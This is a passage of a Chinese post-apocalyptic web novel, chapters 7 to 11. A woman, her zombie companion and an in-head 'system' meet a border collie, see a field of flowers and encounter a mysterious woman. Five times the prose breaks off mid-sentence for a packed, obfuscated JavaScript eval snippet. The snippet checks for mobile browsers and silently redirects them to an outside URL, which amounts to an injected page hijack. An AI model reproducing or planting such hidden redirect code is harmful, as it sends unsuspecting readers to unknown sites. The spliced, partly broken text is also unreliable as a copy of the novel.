;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282815|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转述边牧和它主人的故事。 边牧是流浪一年后被主人领养的。 晚上，它饥肠辘辘，在垃圾桶里翻食物。一个醉汉从旁边路过踹了它一脚，它想爬起来离开，但是因为饿的没有力气，它又被醉汉追过来踢了一脚。醉汉下脚没有轻重，它感觉自己肋骨都要碎了，迷糊之际，它看见醉汉走过来还想踢。 紧急之刻，它主人出现了。 一个女孩子举着手机，挡到它面前。它不知道她用了什么魔法，几句话就制止醉汉。 醉汉清醒过来，骂骂咧咧走开了。 女孩子抱着它，温暖又颤抖。 此后，它有家了。 对于它而言，家是温暖的代名词。 它最喜欢的事情就是等待主人下班回家。 它能听见主人上楼的脚步声，每次听到它都会站在门口摇尾巴。等不了多久，外面就会传来“咔哒”的声音，紧接着，主人会打开门，抱它亲它，说最喜欢它了。每次主人的絮絮叨叨，都比它流浪时，听到的声音好听多了。 它觉得生活会一直这样下去。 直到末日来临。 很多人都变了，他们变得比醉汉还凶。 主人说她们要悄悄的，它不能大声叫，这样才安全。主人带着它，跟在别人后面，一路向东。好像又回到了流浪的日子，但好像又不一样，因为主人还在它身边。 它想不通，所以就不想了。 这样的日子它已经学过了，它也可以带着主人好好的。 直到有一天晚上。 主人带着它奔跑在无人的马路上。 她说，它现在可以随便叫。 于是它很高兴，围着主人叫了很多声。 之后，主人坐在地面，抱着它。她说了很多很多话，它听不懂，但它会时不时应几声。它能感觉到主人有点伤心，它安慰她没事，这日子它熟。 快天亮了，主人挖了一个坑。 她坐了进去，摸着它的头，抬头望天。 天亮了，走在她们前面的人来了。他们赶走了它。 主人对它笑，对它摆手。 主人变得很凶，他们埋了主人。 其实它想说，主人变凶了也没事。 但是主人听不见。 没关系，那它就在这里生活下来。 听完，续昼心酸酸。她伸手摸摸边牧脑袋，边牧轻声回蹭她。 傍晚，晚霞落入地平线。 边牧带的路是一条曲折的小路，依稀可以看见人走过的痕迹，虽然植被已经长出来了，但对比周围的植被还是略显稀疏，一看就是末日后才悄摸长出来的。 边牧带路的时候，还不忘回头看看有没有走丢，宛如一个合格的导游。 续昼感慨。 这么久了，她也是第一次让狗带路，之前都没有过这种经历。 “系统，快放首歌纪念一下。”她在心里安排系统。 “好的，”系统非常上道，“嗨喽系统正在为你服务，请问需要播放什么歌曲？” “你这么智能，不能替我选择吗？”主要是她一时间就想不到什么歌曲。 “好的，已替你自动播放上次的歌单。” 系统说完，一首摇篮曲响起。 续昼：…… 她想起来了，她昨天让系统哄睡呢。 8. Chapter 8 和系统探讨放什么歌还没有出结果，边牧倒先停下了。 她们到达目的地。 抬头一看，是一片花海。 漫山遍野的花映入眼帘，仿若踏入一个梦幻的国度，壮观无垠。晚风吹过，五颜六色的花朵摇曳生姿，像是在欢迎她们的到来，淡淡的花香裹着她们，沁人心脾，抚平她们赶路的疲倦。 开车在路上，看到周边的植物，续昼还在想，植物大复苏的时代怎么没看见花开呢？原本还有一点遗憾，现在全补上了。 她情不自禁惊叹出声。 边牧转过头，抬头看向续昼叫，眼睛里全是期待。 系统自觉帮它翻译：“它说，这个地方怎么样？是它主人找到的。” “谢谢你带我来这里，”续昼蹲下身，抚摸边牧的脑袋，认真回答：“这个地方非常棒，你的主人和你也非常厉害，能找到这里。” 边牧感知到续昼的情绪，它也很高兴。它的尾巴摇得飞快，朝她叫了几声，转身奔向花海。 续昼起身，笑意抵达眼底。 寻春从一开始到花海，就呆愣在原地。那一瞬间，他感觉自己脑海中飘过很多场景，他想看清，于是他用力去看，很用力，却只能看见模糊的色块。 花海与模糊场景交错重叠，他眨眼，又揉眼，又眨，又揉眼，没有任何改变。 不知道自己要怎么做才能摆脱困境，他下意识握紧拳头。 续昼转头望向他。 他眼神里迷茫一片。 他好像出问题了。 “啊啊。”他轻声开口。 续昼牵起他的手，笑问：“不去玩一下吗？今天玩够了？” 热源传递到寻春的神经，他回过神，盯着续昼。 续昼在笑，等着他的回答。 似是过了很久，又似是眨眼间，花海与模糊场景一一破碎，重现于他眼前的是续昼。橘黄的阳光藏进她的发丝，衬得她眉眼间更加柔和，光影闪烁其间，她就站在那里，一步一步，坚定不移向他靠近。 迷茫终将消散。 他回归现实。 “啊啊。”他找回自己的声音，点头又摇头。 “去吧。”续昼松开他的手。 寻春三步一回头走进花海，每一次回头，续昼都在向他挥手。 他脚步越来越快，最后奔跑在花海里。 余晖撒向大地，落在他们身上，就连影子都有了开心的形状。 续昼感受到一阵心安。 “你不去玩吗？”系统问。 “当然要去。”她答得飞快，语气坚定。她走进花海，跳跃的发尾末梢彰显出她的想法。 系统默默拍了张照片。 怎么说呢，其实也不是它想拍，主要是系统任务日志要求的，每次出任务都需要图片记录。没错，它这都是为了任务。 它默默告诫自己，并放好照片。 落日花海下，与往常相比，多了热闹的气息。 续昼编了五个花环。 她自己头上戴了一个，给寻春戴了一个，边牧脖子上也戴了一个。最后两个，她留了一个给边牧主人。 剩下的那个，她也戴在了自己头上。 “系统，我给你也戴上了。”续昼说。 “一般般吧，等我有实体了，我自己戴着肯定更好看。” 看着头顶两个花环的续昼，系统没忍住哼哼几声，嘴角翘得老高，反手就是一个拍照。 “好啊，我等着你。”听到系统语气里的扭捏，续昼笑着说。 草地松软，她挑了一个有坡度的地方坐下。 晚风拂过，她想到了边牧主人的故事。 在刚刚的讲述中，边牧说它主人很喜欢花，这一点和寻春一模一样。那天，边牧和主人在花海边聊天，主人哭了，她给边牧编了一个花环戴着。 她抱着边牧，一遍一遍重复，保佑它平平安安。 续昼这才有了编花环的想法。 她希望所有人都能平平安安。 “你说会吗？”她仰头，星星闪烁。 “会的。”系统答道。 “那就好。” - 第二天，续昼是被压醒的。她睁开眼，旁边是斜躺在她身上的边牧，压在她上半身暖暖的，甚至有点热，有点透不过气。 她睁眼望着帐篷顶，脑袋放空。 眨眼。 昨天她不是关帐篷门了吗，它是怎么进来的？ 对了—— 之前她的帐篷被寻春扯了一条口子。 她转头看，那个小口子已经撕开了，成了一个洞。不用想，也知道是边牧的杰作。本来想着帐篷还没有报废，她就勉强用着，现在好了，报废了，真该换了。 想到这，她抬手揉狗头。 “你啊你，欠我一个帐篷。” 边牧叫了一声，尾巴拍打几次地面，半搭不理。 小土坡上放着两个花环，挨在一起。 从帐篷出来，续昼就看见坐在小土坡旁边的寻春，他反复翻看着属于他的花环，想上手拆又犹犹豫豫，最终还是拿在手里转圈。 她走向汽车，从后座拿出自己的花环，递给寻春。 “我这个给你拆，”她拿回寻春那个，戴在他头上，语速放慢，让他有理解的时间，“你这个我们就留着戴。” 她满意的欣赏着自己的作品。 刚在帐篷里，她就做完了今天的打赏任务。现在寻春的肤色已经接近他原本的肤色，花环戴在他头上别有一番风味。 她以前就想过，以他的样貌，如果戴上花环，会不会是一个花美男？只是一直没有得手过，现在趁他不清醒，先下手为强。果然人长得好看，变成丧尸也好看。 昨晚看着，没有白天更具有冲击力。 要是有手机能记录下来就好了。 她有点小遗憾，不过这也不算什么大事，反正她已经饱过眼福了。 “啊啊啊。” 呼吸之间，寻春摆摆手，学着续昼的动作，把她的花环扣在她头上——是的，扣在她头上，因为他根本就不知轻重。 他脸上的认真不似假的。 续昼含泪收下这份重重的心意。 日上三竿，她们要继续赶路了。 和边牧玩了半个上午，续昼又坐上了驾驶位。这次寻春没再坐后座，他自己打开副驾驶车门，坐了进去。 后座上，三个花环排排坐。 汽车开上国道。 续昼降下车窗看见，边牧在小土坡边站的笔直，身后的尾巴有节奏地摇摆。 忠实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282816|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守卫在向她们告别。 她停下汽车，向守卫挥手致敬。 汽车轰鸣声再起，尾气扬起一地的灰尘，飘飘摇摇向远方。 续昼突然想到早上那个问题的答案。 早上，系统神神秘秘的说：“今天你要不要换个打赏对象？你可以打赏给边牧，据我分析，它肯定会恢复正常的。” “它恢复了，然后呢？”她当时就反问系统。 “你不想看到它恢复吗？” “我为什么要看到它恢复？” “它被病毒感染多难受啊，它恢复正常了就不痛苦了，你这是在救它。” “我不觉得。” “为什么？” 对啊，为什么呢？当时她没有说出个所以然来，只是依旧打赏给了寻春。 系统劝她无果，也没有继续说，只是自己在脑海里翻着数据库打发时间。 她并不知道被病毒感染会有多痛苦，她没有经历过，就先保留这个痛苦的前提，就当边牧是痛苦的。 通过边牧的行为，以及她对它的观察，她发现边牧很精神，就像她第一眼看到的那样，是一种活力充沛、情绪积极的状态，主人离开后，在末日还保持着这种状态，她不太认为它是痛苦的。 反而，她觉得它一直有坚持的动力。 它并不是向她们求助的弱者。 它很聪明，不会盲目独自面对敌人。就比如昨天相遇的时候，它很谨慎，知道对面是两个人，有攻击力，会配合，也有车能撞击，这种情况下是不适合冲上前的。再加上她很快就发现了它，它不可能伏击成功，寻春作为丧尸的威慑力也有，它更不可能确定主动出击就能将局面把握在它手里。 她从来不认为动物就很愚蠢。 它出声，相当于一个交流信号。至于双方要怎么理解这个信号，就不一定了。总之，她们理解出一个和平的信号，这一点全靠系统的狗语翻译。 再往后，它没有感受到她们的威胁。它大胆的躺在小土坡旁，又尝试性扑向她，看她的反应——她当时能感受到它绷紧的身体，如果她一开始就出手，它估计也会咬下她一大块肉来。 再来，就是去花海，中途听到它和主人的故事确实是个意外。 它一直在小土坡周边活动，这些地势都熟悉，借助一个花海反杀也是绰绰有余。一次次的试探都是为了保证自己是安全的，它始终保持着该有的警惕心。 但态度也是相对的，在它的视角里，她们对它什么态度，它就会回复什么态度。这一点，她觉得应该也有它主人的努力。 虽然感染病毒变成变异动物痛苦，但祸福相依，她相信它的眼睛也是有特殊作用的，不然前期人类也不会栽在变异动物手里很多次。 能一直独自存活这么久，一来它本身就很厉害，二来感染病毒给它带来了便利。 所以，她并不觉得它恢复正常会更好，也不觉得她随便一个举动就是在救它。 它没有求助，也没有选择跟着她们一起走，就是很好的证明。 它要留在那里，为了主人，也为了自己活下去。 她也不愿意这么设想，但是—— “而且，你觉得一只正常、落单、没有危险的狗在饥饿的末日会遭遇什么？”续昼在心里问，“系统，你觉得呢？” 9. Chapter 9 会遭遇什么？ 当然是会遭遇一些不好的事情。 人性的险恶，在和平年代就已经初见端倪，醉汉二话不说就能对流浪狗出脚，更别说现在这个混乱的末日时代。 和平醉汉可能见不到了，但末日醉汉肯定应时出现。 “但我是不是不应该这么悲观？”这么想着，续昼突然反思一下。 “悲观又没有什么不好，这很正常啊。”系统觉得再正常不过了，它做过那么多任务，什么样的人都见过，对比一下，她还属于好人那一批，“不过，我还以为你会带边牧一起走。” “别说了，它根本就不搭理我。” 提起这个，续昼就伤心。她在帐篷里就问过边牧，一听到这话，边牧就不理她，头都不转过来，只望着帐篷外。外面什么也没有，只有一片绿地。 “以前我就想养狗，但是一直没有成功。” 回顾续昼试图养狗的历史，简直就是一把辛酸泪。 续父续母从不限制她养宠物的自由。 还是小小的她，一看到隔壁院毛发油亮发光、酷炫嚎叫逼退外人的大黑狗，就走不动道了，从此对狗一见钟情，心里念着也想养只狗。 父母对此没有异议，不过先对她教育了一番养狗知识，见她都懂，也没有打消养狗念头，就张罗着带她去店里看只合眼缘的狗。 但是每次去看狗的途中都会发生一些小意外。 比如有一次，他们刚想出门，家里灯泡突然坏了。 走到一半发现家里门没有关好，他们赶回家，发现有人盗窃。 在把小偷送去警察局的路上，他们又遇到高空坠物，花盆不偏不倚掉在续父脚跟前。 到警察局后，续母被旁边突然激动推搡的受害人家属推倒，撞在长椅上。 在警察局待了一下午，受害人家属最后补偿了续母医药费。 结束后已经是晚上，周围的店没有家里灯泡那种规格，他们又跑了其它街才买到灯泡。在回去的路上，小续昼差点被逆行车辆撞上，吓哭了。 一次两次，每次去看狗的路上都波折不断。这不禁让他们怀疑，是遇邪了，还是老天的预兆。 最后续父续母带着她去寺庙拜了拜。 遇到寺庙的主持告诉他们，她这个命格，最好不要养狗，否则小祸不断，大灾随机，不让她养，是保护她，也是保护狗。 所以，养狗的事情就不了了之了。 和寻春在一起后，她说起这件事情。 寻春说，让他来养只狗，他照顾狗，她只需要在旁边看着，或许会没事。 后面，他去店里抱回来一只健康小狗，店主人说这只小狗身体是最好的，都没生过病，一看就扛造。 结果没有想到，到家后，小狗就生病了。寻春连忙把狗送去医院，又联系了其他养狗人士领养回去。 这下她心碎的不能再碎了。 好在她狗缘还可以。 平常在路上遇到别人的狗，都能唠上几句；遇见的流浪狗，也爱和她玩，就是不能跟她回家。 冲着这一点，她成了宠物店的常客，和店员都处成了朋友，宠物店里的狗见到她都会打招呼，惹得来看狗但无狗搭理的人好生羡慕。 “难怪你分析那只边牧的话术，看起来一本正经，”系统恍然大悟，“原来是日常锻炼出来的。” “那都小意思了。”续昼顺着系统的话，小小的自恋了一下，“主要还是我本人太优秀了。” “你真是一点也不亏待自己。”也不知道谦虚两个字怎么写，系统评价道。 “嗯哼，当然了。”续昼一脸傲娇的小表情，自信满满，“我还是相信吸引力法则的，当然要多夸夸自己。” “确实。”系统应和。 它深有体会。 它有个任务同盟就是对自己太没有自信了，做事畏手畏脚，前期吃了很多亏，好在后期一步步建立了自信，如有神功，任务顺利完成，同盟本人也过得越来越好。 “话说，你那个狗语翻译功能可以同步给我的大脑吗？” 续昼可馋这个技能了，她听到系统可以听懂狗语的时候，心里可激动了，恨不得把这个技能安自己身上。 “有了这个技能，我不就是狗中之王吗？我要召唤狗狗替我冲锋。” “不能。”系统冷冰冰的语气环绕在她的脑海，回音不断。 续昼叹气。 看来她成不了狗中之王了。 为她自己难过三秒钟。 戏多。 系统摇头，不去看她拙劣又夸张的表演。 空无一人的国道上，只有一辆汽车。车窗外的绿色风景快速掠过，生长旺盛的藤蔓穿过护栏伸进道路上，寻春看入迷了，将手伸出车窗，妄图摘下一片叶子。 续昼将车速开到了每小时八十公里。 寻春伸出右手，还没有抓到叶子，手就已经从一堆叶子之间穿过了。雪上加霜的是叶子中间藏了刺客，锋利的叶片边缘划伤他的手掌。 他收回手，手上全是细长条状的红线。 他看了一会儿，用左手摩挲着伤痕，上面传递出轻微的疼痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282817|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感。 他皱眉，不是很懂这种突然冒出来的情绪。 这些天，他总是能冒出一些原本没有印象的情绪，虽然影响不大，但他感觉自己有点失控。 他好像又不正常了。 寻春想着想着，开始自我怀疑。原本呆滞的眼睛更加呆滞，他背靠副驾驶，无神地望着前方。 续昼抽空看了他一眼。 好好坐在副驾驶上，没有乱动，岁月静好。 她心里下了判断，也就没管他。 哎？ 闲来无事的系统翻出寻春的脑电波频率，发现它正在快速攀升，波动变化。 一个丧尸开始思考尸生了，是吗？ 它也不懂，看了一眼后没有放在心上，打个滚后又开始翻着自己的数据库，看看交流中心那边有没有新共享一些数据过来。 数据没有，倒是有同期的系统在交流中心炫耀自己的任务进程快结束了。 系统嗤之以鼻，点了一个举报，理由是“该发言影响其它系统工作心情”。 又打个滚的时间，审核团那边判定它举报失败。 它不死心，再次点了举报。 续昼不知道系统的小动作，她知道汽车又没油了。 下午，汽车罢工在国道中央。 此时距离下一个城市还有一公里，十几分钟就能走到。她收拾完车内的东西，带着寻春往前走。 下午，温度升高了。 现在快到六月份，初夏要来了。 顶着太阳，续昼震惊自己没觉得热，早知道她以前可是很怕热的，难道过个末日，她的抵抗力就变强了？ 她一头雾水，仰头看向太阳，和以前一样刺眼。 再看寻春，也是一样。他背着背包，背还挺得直，不仅没觉得热，也没觉得累，一路上一句话也没叫过。 “系统，温度真的升高了吗？” “真的，这个问题你已经问了十遍了。” 过个末日，体质还变好了。这说出去，谁相信啊？ 续昼找不出原因，闷头往前走。 往前走，城市的轮廓渐显。一片绿意间，冒出大范围的灰色，原本繁华的城市已经荒败，或许再过几十年，就会掩埋于尘土，过往不复存在。 续昼拉着寻春的手腕，准备走进城市。 心里还想着，她这次要找辆主驾驶座舒服一点的，或者找个靠枕。她一路开过来，坐久了不舒服，只能忍着。这次她决定要对自己好一点。 抬头一看，前面不远处站着一个人，正看着她们。 10. Chapter 10 是一个女人，她倚靠路灯杆，饶有趣味的看着她们。 续昼感到头皮发麻，她停下脚步，一时间不知道该不该继续往前走，或者往回走。往回走肯定是不可能的，后面只有一辆被她遗弃了，没油的汽车。 但是，要往前走吗？ 寻春跟着停下，他动动手腕想催她继续走，但被她用力压下去，制止了。他也不再动，只是不解地看向她。 “嘘，你一会儿不准说话。”续昼小幅度偏过头，小声告诫他，“我让你说，你才能说话。” “啊啊。”寻春答应。 顺着视线看过去，这个女人不是别人，正是之前递卡片的女人。她孤零零的站着，看起来身形萧瑟，与她一起的四人小团伙此时没了踪影，但续昼也不敢松懈，说不定他们也有可能正藏在某个角落，守株待兔。 她为什么在这站着？ 她在等人吗？在等谁？ 她还记得自己吗？ …… 一时之间，续昼脑海里闪过许多问题，她心里琢磨，难怪她今天眼皮在跳，合着在这等着呢。 她拿不定主意，站在原地与女人对视。 系统提醒她：“她好像没有恶意。” 听到系统这话，续昼稍微放松一点。 “没想到这么快，我们就见面了。” 女人率先开口。她站直身体，拍拍衣服上不存在的灰，缓缓走过来，动作优雅。 “不用担心，只有我一个人。” “是啊，好巧。”续昼敷衍回应。 走到两人面前，女人比续昼高出一个头，她微微弯腰，平视续昼，一个眼神也没分给寻春。 她的眼神里有过一丝怀念。 女人面容依旧沧桑，脸还是一样的脸，但她比起之前，没有那么疲惫，反而韵味十足。这种感觉，续昼以前在一个人身上见过，这不仅仅是靠外貌能堆砌出来的，她举手投足之间都散发着韵味。 续昼回视，悄悄攥紧寻春手腕。 “长得真可爱。”良久，女人抬手拍拍续昼的脑袋，站起身，夸赞道。 “谢谢，您很有气质。”这句话是真话，续昼亲自感受出来的。 听此，女人莞尔一笑。 她简单打量了一遍寻春，长得端端正正，还会背包，还行，比上次那个丧尸好点，虽然她没见过那个丧尸，但想来也应该要好点。 人至少比丧尸强一点嘛。 “上次那个小丧尸不养了？”女人贴近续昼耳边说，不大声宣扬也是她怕说完这话，这男的受不了就翻脸要走，“这个看着还成，你眼光不错。” 续昼微怔。 她还记得丧尸，那她说这句话是什么意思？ 续昼胡乱答了一句：“我没养。” “嗯嗯，你没养，”女人也不在意续昼的回答，自顾自的说：“不过，不养了也好，还是养人好一点。” 续昼已经放弃挣扎了。 她们并排走在大街上，寻春听话一直没有开口。 女人好像就是过来纯唠嗑的，她跟在续昼旁边，有一搭没一搭的说着话。她也不套话，说的都是日常话题，听到续昼的回答，话题就聊得久一点；没听到回答，就换个话题接着说。 冷场根本阻挡不了她的倾诉欲。 续昼按照自己的计划，找了一家户外运动装备店。她要找个质量好的帐篷或者睡袋，最好是寻春撕扯不开的那种。 “你要找什么？”女人抬头看了一眼招牌，裂开一大半掉落在地。 “帐篷。” 店门把手上挂了锁，摇摇欲坠，续昼查看一番，思考要不要破窗而入。 女人从旁边瞥了一眼，没有犹豫，拿起脚边的招牌，对着锁就是砸过去。哐当一声，锁落地。 女人扔掉招牌，拍拍手，示意续昼可以进去了。 续昼推开门，一大股灰尘味扑鼻而来，她捂住口鼻，往旁边一挪，没有走进去。只是推开门，先让里面的味散出去。 女人毛遂自荐：“这我熟，找我，我能帮你推荐质量好的。” “好。” 续昼点点头，接受她的推荐。 反正一个帐篷而已，也不怕女人搞小动作。不过一路走过来，看她这样，也不像人前说一套人后做一套的人，虽然续昼也不知道，为什么她要跟着自己。 她问过了，但女人不说。 店里的味道散去不少。 续昼走进店内。店面看着不小，有很多架子，上面贴心写好了分类标志。她顺着架子走过去，找帐篷的同时，也在看其它东西有没有什么能用的。 寻春跟在续昼身后，当个合格的跟班。 女人想了想，还是走在续昼旁边。她没有要拿的东西，与其自己逛，还不如跟在这女孩身边。 她看着认真找东西的续昼，心里越看越欣慰，只是内心更深处有点酸涩。 她默默叹口气，不再想那些陈年旧事。 “系统，你说我要拿些什么东西？”续昼在心里问道。 看着琳琅满目的商品，好像都有用，又好像都没用，她的脑袋像被浆糊糊住了。这些天过来，她用的最多的就是帐篷，其它东西都没有什么用。 “防身的。” 虽然系统也不觉得续昼需要拿什么东西，但她都问了，来都来了，就带点东西走吧。 续昼拿起户外求生防身刀具，翻来覆去细看。她拿着刀柄，取出小刀，去试割旁边的绳索，刀身锋利，而且重量合适，旁边有附件包，是一些求生工具，她也一起拿上了。 女人在旁边看着，取出一些东西，又拿了其它小东西放进续昼的包里，顺便解释了用途。 续昼一一收下了，好东西不嫌多。 女人对这些东西十分熟稔，张口就能来。 续昼挺意外的。 她在心里对话系统：“你说我现在偷师，什么时候能达到这种水平？” “我帮你作弊。”系统说，“我悄悄告诉你答案，我可是百科全书。这样，你现在就能达到这种水平。” “哎？” 续昼现在懂了，邪修为什么离经叛道，别人也前仆后继的去学了，这种捷径果然让人羡慕。 最后的帐篷睡袋也是女人挑的，续昼还给自己和寻春换了一套冲锋衣，换上新衣服，不仅人，丧尸都精神多了。 在续昼换衣服的时候发生了一件事。 女人和寻春搭话，但寻春只看了她一眼，面无表情，冷漠应对。 女人若有所思。 等续昼出来，女人恍然大悟说道：“原来你现在养了一个小哑巴啊。” 嗯？ 续昼一脸疑问。 女人一脸心疼，继续说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282818|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他话都不会说，真是辛苦你了。” “也……还好？”续昼不确定的说，她看向寻春，后者一脸无辜，但还是念着她的话，没有开口。 对于女人认不出寻春的身份，续昼万分感谢系统，要不是打赏任务让他慢慢恢复人类的样貌，她都不知道今天碰到女人会发生什么了。 寻春现在看起来，和人差不多，就是不会说话，脑子有点傻。 当个哑巴，好像刚好能掩盖他的真实身份？ 续昼越想越觉得可行，还不忘问一声系统。 “系统，你说是不是？下次我就直接说寻春是哑巴，就是不知道他有没有开口需求。” “应该没有吧。”系统回想，他平常说话也少，只会回应续昼的话，大部分时候都是沉默的。 “那太好了。” 续昼解决了一个大问题，心里很高兴，表面也带了一点开心的情绪。 “换了新衣服这么高兴？”女人问。 “是啊，”续昼欣然接受这个借口，顺着女人的话说，“毕竟很久没穿过新衣服了。” “真好看。” 女人的声音有些低沉。 续昼好奇看过去，只见女人偏头望向店外。 没看到女人的表情，但续昼对情绪变化有点敏感，她在心里与系统讨论：“她肯定是想到什么了，语气都变了。” “对，她情绪有点低落。”系统也发现了。 正在这时，女人转过头来，神色自若。 续昼猝不及防对上女人的视线，她眨眨眼，对女人轻轻一笑。 对女人的情绪变化讨论止于此。 天色渐晚，续昼也不喜欢在晚上行动，她要找个地方休息，明天再去寻找药物和车辆。 女人还是跟着她们，但她说明天就走。 续昼点头，表示了解。 靠着系统的导航，一路上都没遇见丧尸，续昼找了一家看起来就高档的酒店住下，她和寻春一间，女人住在隔壁。 “晚安。” 女人关门前，对续昼说道。 “晚安。” 关门声传来，续昼将桌椅抵着门，还放了一些东西在上面增加重量。她检查完窗户，拉紧窗帘后，才躺上床。 寻春坐在另一张床上，学着她的动作躺下，将被子盖过头顶。 “寻春，”续昼起身，走到寻春床前，拉下他的被子，压低声音，认真对他说，“以后，要是有其他人在的时候，你就不要说话，记住了吗？” 她不知道房间隔音效果怎么样，但声音小点更安全。 寻春转动眼珠子，半晌，郑重点头。 “真棒，快休息吧。” 续昼摸摸他的头发，鼓励他一句，见他乖乖闭上眼，才回到自己的床上，开始劝说系统加班。 “系统，我一看你，就知道你是最厉害的系统，你肯定不需要睡觉，”续昼先夸，再打感情牌和它商量：“我们一起生活了这么久，你知道的，我独身一人这么可怜，你就帮我警惕一个晚上吧，好不好？” “你不是还有丧尸吗？哪有孤身一人？” “他是丧尸，又不是人。”续昼反应迅速。 “就这一次。”系统答应了。 “你真是个好系统，我一定给你五星好评。” 月亮升上夜空，续昼满意入睡。 11. Chapter 11 昨晚是个平安夜，无事发生。 早晨，系统定了个闹钟，把续昼从睡梦中叫醒。 续昼在床上多赖了一会儿。 她十多天没睡过床了，每天都是坑坑洼洼的大地，早上醒来身上总是不得劲，随便活动一下都能听见嘎吱的声响，每每这样她都害怕自己要散架了，但是系统说没事这是正常的。见系统语气真诚，她勉强相信了它的话，然后每天早上会上花一段时间来伸展身体。 昨晚再次接触到床，她久违地睡得很舒服。 “系统，你能不能升个级，弄个随身储存空间出来，我也不挑，帮我放张床进去就行。”大早上，续昼就开始做梦了。 “有这功夫，你不如扛着床走，”系统语气再次真诚起来，“这个更容易实现。” 续昼不语，只是一味地起床。她拉开窗帘，月亮还在天上挂着，外面天蒙蒙亮，远处还是暗暗的一片。站了几分钟，她正打算转身收拾，垂眸就见一道人影闪过。 是住隔壁的女人在晨跑，步伐轻盈而有力，双臂随着节奏自然地摆动，力量与美感并存。 续昼停下动作，一直看着她的身影消失在转角处，才眨眨眼，后知后觉道：“我是不是太懒了？” “不，是她太努力了。”系统两眼一睁，维护着续昼小小的自尊心。 “谢谢你，有被安慰到。” 续昼趁着现在做完打赏任务，收拾完东西，和寻春一起下楼。她们站在酒店门口，等待女人晨跑结束。 女人还没回来，续昼双手插进衣服兜，原地踱步，又抬头望天，一副无所事事的样子。寻春看着她，有样学样，跟在她身后，复制粘贴她的动作。 续昼转身看见他，动作一顿，视线不由自主开始观察他。她越看越觉得有不同，尸还是那个尸，动作还是那几个动作，只不过衣服已经不是那个衣服了。但看着，这尸就是好像格外精神了一点。 “俗话说，人靠衣服马靠鞍，”她问出口，“这句话也适用于丧尸吗？” 系统正忙着回复同期系统的求助，随口答道：“何止，其实是适用于所有生物。” 续昼也觉得没错，欣然接受这个变化，且决定以后要勤给他换衣服。 见女人还没过来，她再次叮嘱寻春：“记住了，不要说话啊。” 寻春右手食指贴在嘴唇前面，煞有其事地点头。 续昼给他竖起大拇指。 在早间的凉风中没等多久，女人就晨跑结束回来了。她看见酒店门口的身影还有点诧异，原以为自己是等待的人，没想到自己反成了被等待的人。 “等久了吗？”女人走近，问道。她说话的时候还有点喘气。 “没有，”续昼摇头，“我们也刚下来。” 说着，续昼抬起手，指着她们休息的房间的窗户，继续说：“我们在窗户那里看到你在跑步，想着你快结束了，就先下来等你出发了。” 女人顺着续昼指的方向，看到二楼连串紧闭的窗帘中，有一间的窗帘是拉开的，那间就是昨晚续昼她们休息的房间。 她说：“再等我一下，我上去拿个东西。很快。” “好。” 女人走楼梯上二楼了。续昼拉着寻春在酒店大堂的椅子坐下。 酒店装潢很豪华，如果灯开了，整个大堂都会是金碧辉煌的，擦得透亮的玻璃会倒映出她坐着的身影，她转头去看，会听见旁边电梯门运行的声响。 续昼不再去想过去，躺靠在椅背上，脑袋倒望着玻璃门外面。 在她模糊视角里，蓝灰色的远处意外出现了小黑点。 调皮的小黑点左走右走，歪歪扭扭，朝着酒店前进，越来越近。 续昼揉揉眼。 这次看清楚了，原来不是小黑点，是穿着深色衣服倒立前行的人。 哦，原来是人，她还以为自己眼冒金星了…… 不对！ 等等？！ 是什么？ 续昼回过神，垂死病中惊坐起，猛然转头看向玻璃门外，身边坐着的寻春被她影响，也看过去。只见不远处，六个身着深色系衣服的人正步步走来。 六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 